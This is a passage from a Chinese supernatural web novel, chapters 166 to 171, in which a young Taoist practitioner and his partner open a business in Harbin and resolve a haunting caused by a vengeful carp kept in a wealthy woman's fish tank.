“啊,完了,完了,你,你谁啊。坏了,坏了,村子要出大事了!”那奇丑无比的男人从坑里站了起来,此刻,天虽然还是灰蒙蒙的,但已经完全亮了,周围的事物看得很清楚。
我眯了眯眼睛,觉得有点不爽,我竟然看走眼了。
放走了一个害人精!
但眼下,那赶尸人已经跑了,我不能让这个丑八怪给跑了。见他站了起来,我一脚把他踹倒,然后踩在他脖子上说,“到底怎么回事?你们为啥要害我们?”
其他人的生死,我管不着。但我跟陆小旺着了对方的道,陷入了危险,那不行!
还有就是。
陆小旺已经被我收编了!
他那脏手想碰?我得让他涨涨教训!
……
第一百六十六章尸蛹
“别踩啦,别踩啦,再踩就死啦。”丑八怪的声音尖锐。
然而,他越这样说,我的脚就越用力。
“我说,我说。这里是任家村,我是任老爷的管家,最近任老爷家中缺仆人,所以花黄金求点仆人。”他说道。
“求仆人?我听你们说,可是要祭祀用。”我眯眼,觉得这家伙嘴里没有实话。
“道爷说的是,这些仆人要给祖宗配阴婚,配好了,才能过来当仆人。”丑八怪看上去越来越不对了,那阴阳怪气的,像个太监。
“**,怎么能当仆人。”我问。
结果,没等我话说完,这丑八怪身上突然冒起了黑烟。然后,它在那嘎巴嘴,身上像是被啥东西烧了一样。
我急忙把脚缩了回来。
这家伙已经化成浓水了。
“怎么回事?”这种情况我也是头一回遇到。
“你看那。”陆小旺突然指着那个村庄。
结果,那个挂着白幡的村庄,眼下已经成了一片坟地,周围的地貌,也随着改变。
这是一处山丘接着一个山丘的。
再说那被我轰碎的八具尸体,一条条蛆虫从肉块中爬了出来。
很快,都爬进了土里消失不见了。
“这是哪啊?”紧接着,路上一个又一个人都清醒了。
看到眼前这一幕,也是都吓得哆哆嗦嗦的。
最后,大家都上了车,又赶去了邓川。但这一路上,他们都脸色发白,除了大巴发动机的轰鸣声,几乎没人说话。
到了邓川,陆小旺说没有玩下去的心情了,我俩把原计划取消,直接回了东北。
陆小旺消失了一阵子,直到八月中旬她才联系我,然后背着个包就来黑城,筹备开场的事。
刚见面,她的第一句话就是,“我总算知道那丑八怪是啥东西啦。”
我说,“你消失了这些天,不会就是查这事去了吧?”
陆小旺点头,“嗯。太邪门了,我也头一次碰到。你不觉得这玩意比聻还吓人吗?它是真实存在的。”
闻言,我点了点头,随后我问,“那是啥?”
她说,“我去了一趟帝都,找了一位高僧,那高僧说,那叫尸蛹。”
我眯眼,第一次听到这种说法,“不是人?”
陆小旺点头,“不是人,是一种现象。尸有活念,气不断,吸引吃尸的虫子,化成人形了。高僧说,尸蛹一般都是成群的存在,里面应该有大家伙。他还会跟人交易,扩大尸蛹的种群。”
我说,“我明白了,那赶尸人赶的尸体,就是从其他地方挖来的尸蛹。他在跟**做交易?”
陆小旺说,“是这样的。高僧还说,我们这次真的是做了大善事,救了人了。要是活人被尸蛹抓住,它们会把活人折磨得痛不欲生。”
我深吸一口气,虽然不知道是怎么折磨,但想到跟一些蛆虫待在一起,那真的很折磨。
随后我又问,“那祭祀呢?怎么回事?”
陆小旺说,“这个倒是没啥,就是把外来的尸蛹点化,加入其中。”
我点了点头。
随后,我娘看到了陆小旺,得知她要住在我家几天,我娘很高兴。
晚上,我娘炖的大公鸡土豆,说是招待陆小旺。这女人,对我有点不着调,但对我娘嘴那叫一个甜,最后,直接管我娘叫妈。
我有点傻眼了,主要这事感觉别扭。但这女人有个本事,就是能让我习惯。
晚上,吃过饭之后,她把东西都放在了我那屋,然后我俩开始在小屋里说着计划。
按照陆小旺的想法,我们直接去哈城,因为那是省会,想要做大做强,第一步要学会走得远。
我呢,有点习惯家里面的生活,衣来张手饭来张口的,不太想远走。
结果,陆小旺白了我一眼说,“你是小宝宝吗?一辈子不离开家?”
我瞪了她一眼。
陆小旺不以为然道,“冯宁,干我们这行的,除非是同类人,要不然,谁沾你谁倒霉。你想想吧,爸妈是普通人,你给他们带来好处的同时,他们有没有麻烦?”
她叫我爹我娘爸妈,我竟然没那么别扭了。反而我还真想了想,而后我虚心请教,“真有关系吗?”
我觉得陆小旺说得很对,但我倒是不觉得是因果关系,而是被牵连。
比如张坤的事。<
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br>我家人就被牵连了。
要不是欢欢小人参,差点出大事。
陆小旺说,“除了我爷爷,你见我提到过我其他亲属吗?”
闻言,我愣了愣,她貌似还真没说过。除了她爷爷的事,几乎没提过。
陆小旺深吸一口气,“干我们这行,第一件事就是跟家里撇清关系。因为我们不知道啥时候会捅出天大的篓子,到时候被人抓住父母来威胁?谁都不想的。”
我点头。
陆小旺继续说,“而且在父母身边,你有很多事都不能做。一旦做了,你会吓坏家里人的。”
我说,“还真是,没去救陈红之前,我在家里动手了。我娘吓了一跳,六神无主的。”
陆小旺说,“这个我理解,因为没办法,我们总会不经意地暴露一些本事。在陌生人面前暴露,他们会害怕,会尊敬。但在父母面前,他们会惊恐,觉得我们跟其他人不一样,会被排挤。你决定吧,留在黑城,还是去哈城?你是发起人,你说的算。”
说完,陆小旺盘坐在炕上,一双眼睛盯着窗外,脑子里不知道在想啥。
我认为陆小旺说得对,我确实也该出去闯闯了。我咬了牙,“听你的,就哈城了。”
陆小旺笑道,“还行,没让我失望。虽然人小了点,但有魄力。以后,我可就绑你身上了。”
我长舒一口气,做完了这个决定,我竟然觉得浑身轻松了不少。
说干就干,第二天我就做了安排,我找到了陈皮,家里事交给它了。然后,我又跟我爹我娘做了安排,说了离家去做生意。
他们虽然不舍,但还是同意了。我把小人参跟欢欢也都带走了,这次是要做大事,手里缺人,只能拿俩骚包顶上。
有些问题,他们也能处理,还能省去麻烦。
临走之际,我娘小声跟我说,说让我对陆小旺好点,别白上了人家姑娘。
我无语了,哪跟哪啊。
然后,人就已经到了哈城,接着就是一男一女一狗一人参像是无头的苍蝇四处跑。
好在。
遇到了个熟人帮忙!
这才安顿了下来。
……
第一百六十七章疯癫的女人(五更,求票)
很久没见。
宋雪更精神了。
说来也巧,也不知道是不是哈城真的不太大,我在跟陆小旺在江边愁得慌,碰到了她在巡逻。
她也从之前的小片警,如今已经是巡逻队长了。
得知我们想找个门面,她直接就介绍了个地方,就在这江边附近。
一进门,我一眼就相中了这个地方,再看陆小旺,她也在看我,显然也觉得这不错。
地方在偏街,但实际上一点也不偏,拐角就是正大街,人流量大,却还非常安静。
至于房子嘛,个人家的小二楼,上面是住宿的地方,下面是个店铺,上下加起来小四百平。
最主要的是,我觉得这里风水好。
房子是老的,而且只卖不租,一口价六十万,一分钱不能少。
这让带我们来的宋雪有点尴尬,但我没有丝毫的犹豫,当场就敲定了买下来。房主有些不敢相信,宋雪也有些意外,但随后我就付了定金,签了合同,等待过户,直接就住了进来。
晚上,宋雪请客,她又给我叫来了个熟人,那就是杨敏。
得知我们要做看事的生意,杨敏直接就给我介绍了一个大活。
她说,她的一个朋友,这两个月来家里总闹些邪门的事。她老公常年在国外,她一个人在家带孩子,结果这段时间,孩子身上总是青一块,紫一块的。
一开始觉得可能是自己不小心弄的,但她发现,白天这种青紫会消失,但第二天早上,还会出现。
因为这事,她跑了很多次医院,但结果啥都查不出来。没办法,她又找了些看事的,但也没看出个啥。
本来以为忍忍就过去了,结果现在事情更严重了,不只是孩子,连她身上也有了。大腿内侧,胸前,臀部……然后晚上做噩梦,被人折腾。
“你怎么看?”我一头雾水,所以问陆小旺。
“没见过,得去看看才行。”陆小旺也摇了摇头。
“冯宁,有你在,这事肯定能解决的。之前我就想找你来的,但我知道你忙,所以才没问。”杨敏拉着我的手,笑着说道。
其他两个女人面面相觑,但也没说啥。
我嘛,倒是没多大感觉,只觉得的她是有点激动,所以,答应明天去看看。
晚上,我跟陆小旺就会二楼了。我要了个向阳的大房间,陆小旺则是跳个小的,我俩就这样住下了。
第二天上午十点多,杨敏开车来接我们,等下车后,到了一处别墅群。
“这独栋别墅应该值不少钱吧,卖了给我爷爷烧纸,我实力能大涨。”陆小旺突然冒出了一句。
我无语,随后杨敏摁了门铃。开门的是个少妇,约莫二十七八岁吧,但她看上去有点萎靡不振的。跟杨敏打声招呼,得知我们是看事的,就把我们请进来了。
女人叫白素,进到别墅就感觉到了她那种疯疯癫癫的状态,她像是在跟我说话,又像是在自言自语,“大师,你们要是能给我把这事解决了,多少钱都行。我给你们十万,不,二十万,别再折腾我了,我受不了。”
白素说完,转头说给我们倒水,结果她倒完水自己喝上了。
“两位,你们看到了吧,她现在都有点神志不清了。我去照顾她,你们四处看看。钱的话,我出。”杨敏说。
我点了点头,现在白素这状态,却是很不对劲。我觉得她处于一种疯和不疯的状态,怎么说呢,就是随时都能疯掉。
我随便地走了走,看了看屋里面的陈设,陆小旺则是出去看外面的情况。
别墅总共三层,我每个屋子里都走遍了,却没发现啥问题。
哪怕我运转道眼,也没看出啥问题。
陆小旺也回来了,她冲我摇头说,“风水也没问题,角落我也都看了,没埋坏东西。总之,外面没问题,应该是里面的事。你发现啥了吗?”
我摇头,“没看到脏东西,布置也都是常见的。那孩子我也看到了,很正常。”
陆小旺思考,“那就邪门了,不是风水,不是脏东西,家里也没被埋东西,人咋就被逼成这样了呢?”
我沉思了下,看了一眼白素和杨敏正在沙发那聊天,然后我就走了过去。
我说,“**,我们大致看了一下,你家的房子没有问题。”
不等我把话说完,白素突然像是发了疯似的,两只手抱在头上,“没问题,又是没问题,那到底哪有问题啊!”
白素眼睛通红,看那样子被折磨得都快疯了。
杨敏急忙安慰。
我看了杨敏一眼,摇了摇头,她这才没
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有说话。
我单手结印,一个‘道’字真言打了过去。结果,杨敏却还是那样。有作用,但作用不太大。
我意识到这事不太简单了。
随后,我眯眼,‘靈’字加持,随后在空中画了一道清心符打了过去。
白素眼睛亮了一些,但还是没完全恢复。
尼玛?
老子是年轻人。
接二连三的路子不行?
有点丢面子。
我站得笔直,这次直接划破了手掌,在空中重新写了一道‘清心符’贴在了白素的脑门上。
只见她脑门上我的鲜血闪动着金色光芒,很快没入了她的身体里。
这下子!
她完全清醒了,看向我,再也没了那神神叨叨的。
我满意了,用血这一招,还是我看了陆小旺用血控制泥人的时候学的呢。
我发现鲜血能完全激发道力。
果然,真的有用。
“大师,对不起,刚才失态了。我这是咋了,呼。”白素大口地呼吸,跟刚才的状态判若两人。
“**,我问你,你家里面的布局,最近有动过吗?”这事有点怪,所以我觉得要问得细致一些,先从布局问,慢慢找线索。
没办法,我不是神仙,算不出来她的事。还有,这女人疯成这样,我和陆小旺搜了一圈,啥也没发现。
这说明,白素的事有大问题,整他的人啊,不是等闲之辈。
“大师,这,家里的布局已经很多年没动过了。我老公说过,都是找人看过的,不能动。”她摇了摇头。
“那,有没有扔过东西,或是进来过东西?”我想了想说道。
风水而言,陈设确实不能乱动的。而刚才我也看过了,她家的花花草草,桌子椅子,摆放的都很有说道。
那是聚财地,聚运地,我觉得都没问题。
“这个,应该也没有……”她很配合我,仔细地回想。
但随后,她突然问我,“活物,算进东西吗?”
我说,“算,啥?”
她突然抬起头,指着贴近墙边的那个鱼缸说,“鱼,一条大鲫鱼。”
我顺势看了过去。
那是个很大的鱼缸,长宽有五六米。
此刻我看到,一条近半米的鲤鱼,正在跟我对视。
……
第一百六十八章未过江的鲤鱼
一开始我以为自己看错了,反复看了看,这才确认下来,这条半米长的鲤鱼确实是在看我。
那眼神灵性,虽然是鱼眼,但给人的感觉,像是一双人眼。
真特么的邪门!
陆小旺应该也跟我发现了同样的情况,她看了看我,给了我一个惊讶的眼神。
我摇了摇头,示意她不要有任何举动。随后,我也装作若无其事地对白素说,“**,这鱼缸没啥问题,除了这些,还有吗?”
白素摇头,虽然眼睛亮了,人也精神了些,但还是有些萎靡不振的。
“**,要不今天先到这,过几天我们在过来。”我说。
“这,这就走啦?”白素有些紧张地说。
“嗯,暂时没看出来啥,等我们到时候带点工具来,才能测得更准。”我笑了笑说道。
但我眼睛的余光,始终都在那大鲤鱼的身上。结果,我很吃惊,它居然侧着身子,把头贴在鱼缸上。
它在偷听。
还是那句话,真特么邪门。
从别墅离开,我们坐上了杨敏的车。她刚要开车,我却制止了。
杨敏奇怪地看着我,“冯宁……”
我知道她想问啥,应该就是有关白素的事,我点头,“她家确实有问题,她不能再待了。别墅里说话不方便,所以我才说要走的。你看看,能不能把白素和那孩子都接出来。”
杨敏,“啥,啥问题啊?比我家厂子那次还严重吗?”
我说,“杨小姐,有些事不要问,不要打听。你只需要照做就好。好奇,会害死猫的。”
我这人没别的本事,学习能力特别强,特别是学坏。既然要走这条路,那我就得当大师了。
所以,我学着阴阳先生那套东西,已经在包装自己了。
陆小旺对我知根知底,见我进入到了这种角色,她愣了愣,然后忍不住在那憋笑,最后弄得花枝乱颤,把头埋在了胸口。
杨敏不知道发生啥,应该以为陆小旺在做法事呢,噤若寒蝉。
她重重地点了点头说,“明白,我听话,不给你们惹麻烦。那我就说,我妈妈想她了,让她带着孩子去看看,这样行不?”
什么办法我不在意,在意的是那条鱼得信这事。我觉得可行,所以点了点头。
接着杨敏下车去按门铃,白素开门,看到是杨敏,也是惊讶。随后杨敏就说了那些话,她倒是很愿意跟着出来了。
等一上车。
随着杨敏开车,我就跟白素说,“**,有件事要麻烦你,我需要你家的钥匙。”
白素愣了愣,“啥?钥匙?”
她看起来有些警惕,但因为杨敏在这,所以警惕性并不太高。
杨敏说,“素素,你听冯大师的,把钥匙给他。你家,有问题。”
白素睁大眼睛,“啊,不是说没看出啥嘛?这,咋就有问题了。”
我说,“**,你什么都不要问,对你没好处。这件事,我来处理就好。你只需要配合我。另外,你这几天要跟我和陆大师住在一起。”
白素皱了皱眉头,应该是没想到我这么横。但我反应不大,白素能住在这种房子里,家境肯定也不一般。
应该很少有人跟她这样说话。
但我不在乎,我暗示自己,老子就是大师,不需要装,她想活命,第一时间就要服从老子。
白素深吸一口气,把钥匙递给了我,然后说,“那,那就麻烦大师了。”
我看了一眼那孩子,几岁大,但他却很安静,趴在白素的怀中酣睡,非常可爱。
很快,车子开到了我们买的二层楼那,一楼已经搬空了,走进去,空空荡荡的。
杨敏也是第一次来,她知道我要在这开个自己的场地,然后问我,“冯大师,你打算怎么布置?我认识不少装修团队,可以帮忙的。”
对于这个,我早就有想法,我说,“不用布置,我到时候放个桌子,放几把椅子就行。至于那种面子事,没啥必要。”
杨敏说,“啊,这样啊?”
我又说,“杨小姐,有一点我要纠正你,我不是看事的,我也不是道士,我是……修道的。”
杨敏眼神奇怪。
我知道她想些啥,觉得修道的跟道士不是一样嘛。但如今我已经要开自己的场了,我觉得要把一些关系说清楚。
我说,“杨小姐,修道的,不一定非得是道士。我修的是善恶之道,弘扬的是无上道法。我的本事你也见过了,所以
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我不想多说。但区别,你要记住。”
杨敏似懂非懂地点头。
再看白素,一样看傻了。我面无表情,带着他们上了二楼。其实我也挺想笑的,刚才那些都是胡编的话,说给杨敏听,也是在说给白素听,她们可都是我的客户呢。
有时候这种中二的话术,还是挺唬人的。
给白素安排了二楼中间的房间,但她似乎对这陌生环境有些不适应。
杨敏很够意思,留下来陪她,顺便还帮着照顾孩子。
晚点的时候,大家都饿了,这附近有烧烤,我点了不少拿回来当宵夜吃。
“**,你丈夫多久没回来了?”我问。
“半年多了,他是做国际贸易的,经常出国,一去少说半年,多的时候,一整年。”白素想了想说道。
“**,你应该很久没有睡一个舒服的觉了吧?”我一边吃一边问。
“是啊,这几个月来,我都快疯掉了。好在今天小敏把大师您带来了,我才振作起来。”白素眼神直勾勾的。
“放心,今晚,你会好好睡一觉的,我保证,不会被任何事打扰。”我面无表情道。
我心想,能不疯嘛,一连几个月被折腾得不能睡觉,还要带着孩子,她能活着,意志力已经够强的了。
吃了宵夜,我们还喝了点啤酒,看到白素有了点困意,杨敏给她带孩子,他们就回屋了。
我和陆小旺还在吃串,陆小旺突然看着我说,“在风水界,能用活物布风水的,那都是一等一的狠人。连孩子都不放过的,恶人中的恶人。那鲤鱼不会善罢甘休的,我总觉得晚上会来找这母子。”
我点了点头,我们倒是想到一块了。自从碰到那大鲤鱼,我其实就已经看出了门道了。
风水的学问,我也学了一些了。在风水界中有一种活物是不被碰的,因为碰得不好,再硬的命,再好的运,也抵不住那厄运。
那就是过江的鲤。
它在没跃过龙门化龙之前,那一次次的失败,满身的怨气,谁沾上谁倒霉。
很显然,那鱼缸的鲤鱼,就是那没过江的鲤,它已经缠上了**和她的孩子。
看这样子。
是要**的!
……
第一百六十九章被困
想到这些,我说,“之前我只是在书上看过这种事,说是过江鲤的怨气大到能影响风水命运,那会我还将信将疑的。现在看来,这玩意是真厉害。以白素的家庭情况而言,那是大富大贵之人,却被折磨得痛不欲生,厉害。”
陆小旺说,“过江鲤,斩头龙,耕地牛……这些连道家都不愿意碰,因为因果实在太大。”
我点了点头没说话,但这几样活物我都清楚。要是我,我也不愿意碰。
过江鲤,沾了龙气,一旦跳不过那龙门,那就成不了龙,一生的努力都化为乌有,仙气也变鬼气。
斩头龙,那原本就是龙,被人斩了头,再无成仙的机会,仙龙成鬼龙,谁触那眉头。
耕地牛,一辈子勤勤恳恳的,****被吃,谁吃了它的肉,谁就要遭它的罪。
我虽然还是野路子,但有些门道还是能无师自通的。
有的东西真的碰不得。大道三千,包罗万象,好的也能是坏的,坏的也能是好的。
有些生灵看着普普通通的,但却蕴含着天道的影像。
邪门着呢。
想归想,念归念,既然接了这事,拿人钱财**。
我跟陆小旺快速地把剩下的串给吃了,随后我俩开始在白素住的这门口布置。
我用道力画了一些符在门上,随后我想了想,顺手把铃铛挂在了门口。
说实话,我也不知道这样做管不管用,因为没人教,只能尝试。
但有一点,我画的这些符,那都是驱邪的符,但凡邪物都要退避三舍。
做完这些,我让欢欢趴在门口护着,小人参也用上了,反正能想的办法都想了。
再说陆小旺,这可是我们合作的第一个生意,她也是尽心尽力。
我弄的门口,她则是拿了一些稀奇古怪的东西贴在了屋外面。
我问她是啥,她说在农村淘弄的锅底灰,里面还掺了鸡血,**血,说是摸在墙上,跟结界似的,能断了这娘俩的气味。
鸡血和**血能鼻血我知道,锅底灰嘛,那我就不太懂了。我说,“这是哪学的?我都没听过。”
陆小旺说,“我也是跟一个农村大妈学的,真有用。我一开始也不太信,但用过几次,很好用。后来我也问过一些业界内的老人,他们说农村人用来做饭的柴火,那都是大地之火,烧出来的锅底灰,堪比供奉用的香灰。”
这个说法我还真是第一次听过,我也不是来监督陆小旺的,就是想看她咋弄,也跟着学学本事。
结果这女人不知道在哪弄了一大盆的鸡血**血香灰,就跟抹腻子似的,在那刷墙。
看得我扯了扯嘴角,这玩意能行吗?
很快,天色更深了。我俩因为第一次开场,也没啥经验,把一楼门锁好,然后跟俩门神似地蹲在二楼楼梯口,生怕出了差错。
这一坐,凌晨两点半。陆小旺挺不住了,回去睡觉了。我虽然精力旺盛,但也觉得无聊,靠在椅子上闭目养神。
结果,不知不觉中我也睡着了。
随后,我突然觉得脖颈凉飕飕的,我下意识地裹紧了衣服,迷迷糊糊地睁开眼睛。
我看到欢欢和小人参挤在白素的门口呼呼大睡,有点口渴,我就去接水了。
结果,就听到一楼有动静。我下楼了,也没开灯,就四处转了转。
随后,我总觉得那动静是窗外传来的,所以就趴在了窗户上看了看。
刚搬过来,人生地不熟的,眼下已经是凌晨了,外面一片漆黑,伸手不见五指。只能隐隐约约看到过道的情况,连个人影都没有。
突然。
就在我放松的那一刻,一道人影突然贴在了窗户上。
我吓了一跳,接连后退。那人影就紧紧的贴在窗户上,那是一张惨白的脸,看不到五官,没有一点的血丝。
它浑身也是白的。
像人!
但似乎又不是人!
“艹!大半夜的,敢来找你爷爷麻烦,真当你爷爷是假修道的?”我皱了皱眉头,开门就窜了出去,然后对着那东西就是一顿暴打。
大半夜的来我家门口吓人?
老子不揍他,那有点对不起他。
我好歹也是修道的,被这些玩意给吓住了?那就不用修道了。
另外,我总觉得自己不
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是胆子大,而是火大,能动手尽量不哔哔。
有点发泄情绪的意思。
等打完了。
那家伙也突然不见了。
我总觉得有点不对劲,这才想起了白素的事,我急忙锁门进屋。
但等我到了二楼发现,欢欢还在睡觉,小人参也没反应。
也没有东西趁机进来。
随后,我眼皮就睁不开了,等我再次醒过来,发现自己坐在椅子根本没动弹过地方。
“做梦了?”我也一脸的疑惑。
我朝着楼梯口下看了一眼,外面的天还是黑的,按理来说,我一觉睡下去,不应该是白天了吗?
我奇怪,朝着楼下走去。
这次跟刚才的情况差不多,但是也有不一样的地方,外面没有那么黑,我能看得清。
另外,也没有啥怪动静。
就是外面的风声吹得很大,然后一楼挂着个老式的钟表。
应该是做梦吧。
我想着。
但我看了一眼那钟表,凌晨两点半。
起初,我还没发现问题呢,打算回去闭目养神。但我走到楼梯口,我突然浑身一颤,凌晨两点半?
我猛地转过头看向那钟表,那是一个木质的,类似于方盒子的老式机械钟表。上面白色的表盘,表盘上是黑色的刻度,下面是类似于大马勺的摆钟,正在左右的摆动。
然而此刻,那摆钟在摆动,秒针也在转动,但那时针和分针却定格在了凌晨两点半的刻度。
我站在那一动不动,死死地盯着秒针,结果五分钟过去了,还是凌晨两点半,不管那秒针怎么转,转多少圈,时间却从未动过。
我被困在这了?
我眯眼想着。
随后,困意来袭,等我再次睁开眼睛,又回到了那椅子上,还是那副状态。
我皱了皱眉头。
此刻,我心知肚明,自己应该被困住了。我尝试去叫欢欢,小人参,但我突然发现,我居然没有声音。
咋说呢!
我明明处在现实中,但结果,却像是被包裹在梦境里。
而就在这时。
楼下又传来了动静。
……
第一百七十章跟过江鲤沟通
我已经知道了自己的处境,我被捆住了,要是没猜错的话,应该就是那条过江鲤的杰作。
这家伙的能力,已经超出了我的意料。
我用力地吸了口气,我这人虽然怕麻烦,但从来不怕事。
大不了,不要那二十万,把白素跟她儿子送回去!
她娘俩死,总比我死要强!
我起身朝着楼下走去,但刚走到一半,我就看到一楼站了个影子。
那影子似人,但又不是人,它站在钟表下面,我隐约地听到了些声音,像是在说话,但更像是和尚念经。
我不太喜欢这声音,因为跟当初夺舍我的方士有点像。
不过,那个是安抚我,这个嘛,全是碎碎念,在跟我吐槽。
至于说的是啥。
听不懂。
“你是那大鲤鱼吧?”我又能说话了。
“哇啦哇啦。”它显然不会说话,就跟淹死鬼似的,声音哇啦哇啦的,我也听不懂。
但那语气嘛,似乎在抱怨。
“它又不是抓你的人,你不该报复她。”我说。
它又哇啦哇啦的。
我皱了皱眉头,有点火大,“你别在那哇哇个没完,你困住我对你也没好处。把我惹**了,就算梦里我也揍你。”
听我这么一说,它还真就老实了,直勾勾地盯着我,也不说话。
紧接着,我又觉得困意来袭,我强撑着,但还是睡了过去。
等再次醒过来,还是那椅子,但不一样的是,眼下已经是白天了。
“汪汪。”欢欢朝我摇尾巴,屁股都快扭断了。
“老大,欢欢看上后院的小母狗啦,问你同不同意。”小人参用须子擦了擦脸,这家伙看上去有点猥琐。
“能说点别的嘛。”我有点无语了,小人参到哪,貌似都是个骚包。
小人参笑道,“能,报告老大,昨晚平安无事,**睡得很好,我早上进去闻了闻,可香了。”
嗯?
我有些奇怪。
它一个人参进去闻个啥?
正想着呢,陆小旺跟杨敏回来了,两人有说有笑的,还拎了一大堆早餐。
接着我就看到了白素跟她的孩子,她的状况确实好多了,非常的精神,看到我,还热情的打招呼。
跟昨天,这女人简直判若两人。眼下的白素,哪里像是生过孩子的女人,简直像个大姑娘,还是那种懂礼数的大家闺秀。
她虽然生过孩子,但皮肤紧凑白嫩,端正的五官,书香门第的气质,哪怕是素颜,也很惊艳。
想到她昨天那样,虽然也漂亮,但人都有点抽抽了,果然啊,人不能碰到坏事,这玩意也影响颜值。
不过,眼下她虽然没啥事了,但我有点困劲儿。主要是昨天那梦中梦中梦折腾的。
我要是猜得没错的话,我这是体验了白素被折腾的过程了。连我都有点招架不住,何况她呢。
“昨晚那鲤鱼没来吗?”吃过早饭,陆小旺把我扯到了一旁小声问我。
“来了,折腾我一宿。”我说。
“折腾你?”陆小旺说。
“嗯,梦中梦……一直到刚才。”我说。
“怪不得你刚才满脸的倦意,认识你这么久了,还是第一次看到呢。接下来咋办?总不能让**一直住在这吧?”陆小旺问我。
我能看出来,大鲤鱼连我都给折腾了,陆小旺心里面没底。
我沉思道,“这过江鲫明显是来找这娘俩的,但我们的布置起了作用,她没办法折腾他们,所以折腾我。我准备去找它谈谈。谈不拢,我把它炖了!”
闻言,陆小旺吓了一跳,她说,“冯宁,这种事可不能乱来啊。据我所知,当年龙虎山的道长也遇到这种事,但后来都没把它咋样。这玩意邪性,弄不好真会出事。”
我知道陆小旺的意思,她怕我弄死这鲤鱼,还把鲤鱼吃了,会遭什么报应。
但我有点没听进去,年轻人嘛,被折腾总是带火气。
一个鲤鱼?
也敢跟我叽叽歪歪的。在我眼里,我本来就特么不正常,逆天而行的,有谁是正常的?
惹**了,我也想看看,吃了它能咋样?
再说了,万一吃了它是好事呢?
虽然那些说法可能是对的,但我又觉得也不绝对,不亲眼所见,还是很难相信。
要知道老子当过傻子,当初还被传让人家霍霍了呢。事实除了我,谁都不清楚
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“不管咋说,我都要过去看看。”我说。
说去就去,陆小旺在家,欢欢也在家,我也不担心发生啥事。
杨敏开车送我,我没让她进去,这鲤鱼邪门,别到时候她被盯上了。
我进了别墅。
直奔大厅,然后站在了那大浴缸面前。大鲤鱼似乎吓了一跳,下意识地往后面躲,随后也开始打量我。
它嘴巴一动一动的,那双凸出来的鱼眼睛,像是人眼,反复地打量我。
一人一鱼。
在这别墅里对视。
过了好半天,我才想了起来,这是一条鱼,不会说话啊。
所以,我主动开口,“老子来给你两个选择,一是消停点,我不弄你。二嘛……你这鳞片咋掉了?”
我本想说把它炖了。
但我看到它浑身是伤?不但鳞片掉了几片,脑袋上也都是伤口,像是被人揍了一顿似的。
闻言,它应该是听懂了。过江鲤突然把头撞在了鱼缸上,那双眼睛发狠,嘴巴张得老大。
我竟然在一条鱼的脸上看到了愤怒。
“你干嘛?又不是我打的。”我说,“你到底想怎么样?”
过江鲤似乎很生气,接二连三地撞玻璃。
我说,“你撞把,把鱼缸撞坏了,那你算是**,我也省着麻烦了。”
它愣住了,直勾勾地盯着我,气的腮帮子鼓了起来。
我无语了,这鱼有毛病吧?自己弄伤的?也能算在我头上?
我说,“这事是不是没完了?你有怨气,撒在该撒的人身上。谁把你抓来的,你找谁。但别伤害无辜。别人鸟你,老子可不忍你。这样,我们各让一步,你咋样能放了她们?你开个条件。只要不过分,我尽量去办。”
它盯着我,还真的沉思了。随后它甩动着尾巴,似乎再说它的诉求。
我觉得有点奇怪,不知道它要干啥,我想了想说道,“好,我知道了,这件事我会解决。但你也得拿出态度,今晚不能再折腾了。”
它看了看我,我看了看他,我就出门了。
等上了车,我特么有点头疼,知道?我知道个屁。这家伙不会说话,它要啥呢?
……
第一百七十一章人间仙门
直到回去了,老子也没猜出来它甩尾巴的意思。倒是这一天过去了,直到第二天早上,这过江鲤还真就没找麻烦。
“你想到它是啥意思了吗?”一大早,陆小旺就问我。
“你想到了吗?”我也问她。
“甩尾巴,在水里面转了一圈,这谁能看得懂啊?除非……那些懂通灵的来。”她摇头。
我也头疼,修道快三年了,以前不管干啥,哪怕啥也不懂都游刃有余。
现在好了。
被一个鲤鱼弄得没招了。
我眯眼,心一狠,实在不行就吃了吧。我也想试试,吃了这家伙到底有啥问题。
“你,你可别乱来,咱们这还没开始呢,你在弄散伙了。”陆小旺劝我。
我深吸一口气,打算问问小人参,结果这一大早的,欢欢跟小人参都不在。我说,“欢欢呢?”
陆小旺说,“好像去后院了。”
我有点脾气,想给欢欢两脚,说白了就是当个撒气桶,踢完能舒服点。
得知它在后院,我也没多想,随意地朝窗户里往后院看了一眼。
欢欢正骑着一个小母狗呢。
再说小人参,骑在他身上,在那手舞足蹈的。
我无语了。
老子在这绞尽脑汁地赚钱,它可倒好,来这才几天就享受上了。
我把目光移开,还在愁呢,但接着我灵光一闪,然后看向陆小旺问她,“陆小旺,鲤鱼这玩意?咋交配啊?”
陆小旺被我问得一愣,但她也知道我肯定是想到了啥,然后说,“这个我还真知道,雌的鲤鱼甩卵,雄的鲤鱼甩精,精卵在体外融合。”
我听不太懂,这玩意是我知识盲区。但我眯了眯眼睛说,“我明白了,它的意思,是让我给它找一条雌鲤鱼。”
我恍然大悟,它那甩尾巴的动作,那不就是陆小旺说的甩精吗?
这家伙!
孤单了?
陆小旺眼睛睁大,“这鲤鱼也会寂寞吗?”
我说,“人都寂寞呢,动物咋了?不能寂寞。走,去弄点鲫瓜子带过去。”
陆小旺似乎觉得我的想法太离谱,“能行吗?”
我打包票说,“你放心,肯定行。这样吧,几条不行,给它买个几十条,乐呵乐呵,这事也就过去了。”
说干就干,隔街就有卖活鱼的市场,我直接包了二十多条雌的鲤鱼,当天就给它送过去了。
这招果然奏效啊,我把一堆雌性鲤鱼倒进去,它就跟撒了欢似的跟这些鲤鱼套近乎。
没多久,一缸的雌性鲤鱼都被它征服了。
这个折腾我,折腾白素几个月的家伙,我在它的脸上看到了满足。
连我都没想到,这事真的就解决了。
跟有钱人办事,真的是痛快。白素回去住了两天,再也没出现那些情况,她直接给了我三十万。我这人不喜欢虚头巴脑的,你给多少我要多少。
当然了,给多了行,给少了那不行。
收到了第一桶金,一下子三十万,我也丝毫不吝啬,直接给了陆小旺十万。当初说的是百分之二十,但我觉得陆小旺应该多给她爷爷烧点纸。
她实力来了,我们能赚得更多。
陆小旺也不客气,直接把钱存在了银行,说是过些天去卖纸钱烧给爷爷。
很难想象,十万块都买纸钱,那得烧多少啊?但这不是我的事,我也没问。
除了送来的三十万,白素给我出了个难题,她把鲤鱼也都送过来了。
按照她的说法,她有点怕这鲤鱼,希望我能收下。我犹豫了下,但看到那鲤鱼看我,似乎没有了之前的恶意,也就收了。
反正家里跟动植物园似的,也不差它一个。
而在当天,房子也过户了下来,我付了剩下的尾款,彻底的成为了这套小二楼的主人。
杨敏走了,白素也回别墅了,剩下我跟陆小旺,我俩有点愁得慌,给场地起个啥名字才好呢。
我说,“不能起算命看事啥的,也不是大仙办事,还真有点难弄呢。”
